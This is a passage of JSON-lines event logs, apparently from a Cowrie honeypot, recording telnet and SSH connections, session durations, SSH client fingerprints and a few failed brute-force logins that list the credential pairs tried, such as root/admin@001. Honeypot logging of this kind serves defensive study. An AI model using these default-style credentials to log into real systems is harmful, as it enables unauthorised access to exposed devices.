{"eventid":"cowrie.session.closed","duration":14.316027879714966,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:22.830048Z","src_ip":"176.212.106.201","session":"93cf6d29d66c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":56606,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a03f02d6209","protocol":"ssh","message":"New connection: 79.104.0.82:56606 (10.17.0.5:22) [session: 2a03f02d6209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:23.458936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:23.463864Z","src_ip":"79.104.0.82","session":"2a03f02d6209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:23.614879Z","src_ip":"79.104.0.82","session":"2a03f02d6209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"user","message":"login attempt [test/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:24.247348Z","src_ip":"79.104.0.82","session":"2a03f02d6209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:25.403222Z","src_ip":"79.104.0.82","session":"2a03f02d6209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.476877212524414,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:30.729522Z","src_ip":"201.102.145.195","session":"9873d03ffebc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47764,"dst_ip":"10.17.0.5","dst_port":23,"session":"091507168bd0","protocol":"telnet","message":"New connection: 45.58.127.90:47764 (10.17.0.5:23) [session: 091507168bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:31.220879Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0596ee86c67","protocol":"telnet","message":"New connection: 45.58.127.90:47778 (10.17.0.5:23) [session: b0596ee86c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:33.783673Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47786,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce98fd5740e9","protocol":"telnet","message":"New connection: 45.58.127.90:47786 (10.17.0.5:23) [session: ce98fd5740e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:36.985635Z"}
{"eventid":"cowrie.session.closed","duration":3.7550673484802246,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:37.538610Z","src_ip":"45.58.127.90","session":"b0596ee86c67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47800,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d17fc39f7b4","protocol":"telnet","message":"New connection: 45.58.127.90:47800 (10.17.0.5:23) [session: 4d17fc39f7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:38.486498Z"}
{"eventid":"cowrie.session.closed","duration":42.469279766082764,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:39.960487Z","src_ip":"45.58.127.90","session":"7e3db609a0b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.526944398880005,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:41.013200Z","src_ip":"45.58.127.90","session":"4d17fc39f7b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55588,"dst_ip":"10.17.0.5","dst_port":23,"session":"54d42b7327ac","protocol":"telnet","message":"New connection: 45.58.127.90:55588 (10.17.0.5:23) [session: 54d42b7327ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:42.165563Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":55604,"dst_ip":"10.17.0.5","dst_port":23,"session":"176fa27d5831","protocol":"telnet","message":"New connection: 45.58.127.90:55604 (10.17.0.5:23) [session: 176fa27d5831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:45.756236Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53766,"dst_ip":"159.203.135.109","dst_port":23,"session":"837b5f2db582","protocol":"telnet","message":"New connection: 147.182.143.59:53766 (159.203.135.109:23) [session: 837b5f2db582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:47.437750Z"}
{"eventid":"cowrie.session.closed","duration":42.67538928985596,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:04:58.666466Z","src_ip":"45.58.127.90","session":"f0e93778d060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39326,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b9be30b2cd3","protocol":"telnet","message":"New connection: 147.182.143.59:39326 (159.203.135.109:23) [session: 7b9be30b2cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:00.093003Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56590,"dst_ip":"159.203.135.109","dst_port":23,"session":"1120f68bbc4b","protocol":"telnet","message":"New connection: 147.182.143.59:56590 (159.203.135.109:23) [session: 1120f68bbc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:09.611873Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56604,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bd708103141","protocol":"telnet","message":"New connection: 147.182.143.59:56604 (159.203.135.109:23) [session: 8bd708103141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:12.593801Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":56618,"dst_ip":"159.203.135.109","dst_port":23,"session":"088a63f56aea","protocol":"telnet","message":"New connection: 147.182.143.59:56618 (159.203.135.109:23) [session: 088a63f56aea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:12.977927Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":44346,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b359d2b93e","protocol":"ssh","message":"New connection: 79.104.0.82:44346 (10.17.0.5:22) [session: 16b359d2b93e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:13.479865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:13.485301Z","src_ip":"79.104.0.82","session":"16b359d2b93e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39090,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dc4213ed2ad","protocol":"telnet","message":"New connection: 45.58.127.90:39090 (10.17.0.5:23) [session: 6dc4213ed2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:13.558826Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:13.632775Z","src_ip":"79.104.0.82","session":"16b359d2b93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.05609440803528,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:14.041644Z","src_ip":"45.58.127.90","session":"ce98fd5740e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.006909370422363,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:14.099776Z","src_ip":"147.182.143.59","session":"7b9be30b2cd3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"admin123","message":"login attempt [Admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:14.252926Z","src_ip":"79.104.0.82","session":"16b359d2b93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.10790038108826,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:15.328658Z","src_ip":"45.58.127.90","session":"091507168bd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:15.403045Z","src_ip":"79.104.0.82","session":"16b359d2b93e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.590014934539795,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:19.755455Z","src_ip":"45.58.127.90","session":"54d42b7327ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.542776584625244,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:24.520566Z","src_ip":"147.182.143.59","session":"088a63f56aea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.698710918426514,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:26.310419Z","src_ip":"147.182.143.59","session":"1120f68bbc4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48534,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0e78366fe6","protocol":"telnet","message":"New connection: 45.58.127.90:48534 (10.17.0.5:23) [session: 4a0e78366fe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:30.325521Z"}
{"eventid":"cowrie.session.closed","duration":46.214863538742065,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:31.970930Z","src_ip":"45.58.127.90","session":"176fa27d5831","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36210,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb0ab81192f","protocol":"telnet","message":"New connection: 45.58.127.90:36210 (10.17.0.5:23) [session: ebb0ab81192f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:32.147698Z"}
{"eventid":"cowrie.session.closed","duration":0.47835874557495117,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:32.625954Z","src_ip":"45.58.127.90","session":"ebb0ab81192f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48546,"dst_ip":"10.17.0.5","dst_port":23,"session":"e66bb3b533eb","protocol":"telnet","message":"New connection: 45.58.127.90:48546 (10.17.0.5:23) [session: e66bb3b533eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:32.762816Z"}
{"eventid":"cowrie.session.closed","duration":120.0077497959137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:37.762252Z","src_ip":"179.119.25.114","session":"ebdc52117e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"179.119.25.114","src_port":42647,"dst_ip":"159.203.135.109","dst_port":23,"session":"08d9ac9e64c7","protocol":"telnet","message":"New connection: 179.119.25.114:42647 (159.203.135.109:23) [session: 08d9ac9e64c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:38.119074Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53860,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcd6ea485ae1","protocol":"telnet","message":"New connection: 147.182.143.59:53860 (159.203.135.109:23) [session: bcd6ea485ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:39.586311Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":34280,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc5d4e4b981d","protocol":"telnet","message":"New connection: 45.58.127.90:34280 (10.17.0.5:23) [session: cc5d4e4b981d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:42.836408Z"}
{"eventid":"cowrie.session.closed","duration":64.52204012870789,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:51.959651Z","src_ip":"147.182.143.59","session":"837b5f2db582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.71776366233826,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:55.276479Z","src_ip":"45.58.127.90","session":"6dc4213ed2ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44958,"dst_ip":"159.203.135.109","dst_port":23,"session":"f32cbd132551","protocol":"telnet","message":"New connection: 147.182.143.59:44958 (159.203.135.109:23) [session: f32cbd132551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:05:57.096594Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.104.0.82","src_port":60318,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b2bbe3c6ac0","protocol":"ssh","message":"New connection: 79.104.0.82:60318 (10.17.0.5:22) [session: 1b2bbe3c6ac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:02.487547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:02.493565Z","src_ip":"79.104.0.82","session":"1b2bbe3c6ac0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:03.079191Z","src_ip":"79.104.0.82","session":"1b2bbe3c6ac0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@001","message":"login attempt [root/admin@001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:03.658192Z","src_ip":"79.104.0.82","session":"1b2bbe3c6ac0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:04.798688Z","src_ip":"79.104.0.82","session":"1b2bbe3c6ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51100,"dst_ip":"10.17.0.5","dst_port":23,"session":"233795380920","protocol":"telnet","message":"New connection: 45.58.127.90:51100 (10.17.0.5:23) [session: 233795380920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:07.893353Z"}
{"eventid":"cowrie.session.closed","duration":57.38154983520508,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:09.975203Z","src_ip":"147.182.143.59","session":"8bd708103141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.80769371986389,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:11.570381Z","src_ip":"45.58.127.90","session":"e66bb3b533eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.391488790512085,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:11.716881Z","src_ip":"45.58.127.90","session":"4a0e78366fe6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"584275f8e999","protocol":"telnet","message":"New connection: 147.182.143.59:44250 (159.203.135.109:23) [session: 584275f8e999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:13.940643Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":44470,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cdc8e093fb2","protocol":"telnet","message":"New connection: 45.58.127.90:44470 (10.17.0.5:23) [session: 5cdc8e093fb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:16.201414Z"}
{"eventid":"cowrie.session.closed","duration":40.78955554962158,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:23.625836Z","src_ip":"45.58.127.90","session":"cc5d4e4b981d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":46744,"dst_ip":"159.203.135.109","dst_port":23,"session":"6490e284c0bf","protocol":"telnet","message":"New connection: 147.182.143.59:46744 (159.203.135.109:23) [session: 6490e284c0bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:27.330210Z"}
{"eventid":"cowrie.session.closed","duration":14.947259426116943,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:28.887765Z","src_ip":"147.182.143.59","session":"584275f8e999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":16.209243297576904,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:43.539183Z","src_ip":"147.182.143.59","session":"6490e284c0bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56460,"dst_ip":"10.17.0.5","dst_port":23,"session":"62339e00cd1c","protocol":"telnet","message":"New connection: 45.58.127.90:56460 (10.17.0.5:23) [session: 62339e00cd1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:44.124785Z"}
{"eventid":"cowrie.session.closed","duration":38.66045117378235,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:46.553692Z","src_ip":"45.58.127.90","session":"233795380920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":67.24051642417908,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:46.826622Z","src_ip":"147.182.143.59","session":"bcd6ea485ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43936,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5b9d6331c8c","protocol":"telnet","message":"New connection: 147.182.143.59:43936 (159.203.135.109:23) [session: e5b9d6331c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:49.626420Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":43950,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c5e60a43036","protocol":"telnet","message":"New connection: 147.182.143.59:43950 (159.203.135.109:23) [session: 1c5e60a43036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:50.300262Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59732,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0957e5ca0e6","protocol":"telnet","message":"New connection: 45.58.127.90:59732 (10.17.0.5:23) [session: d0957e5ca0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:06:51.685577Z"}
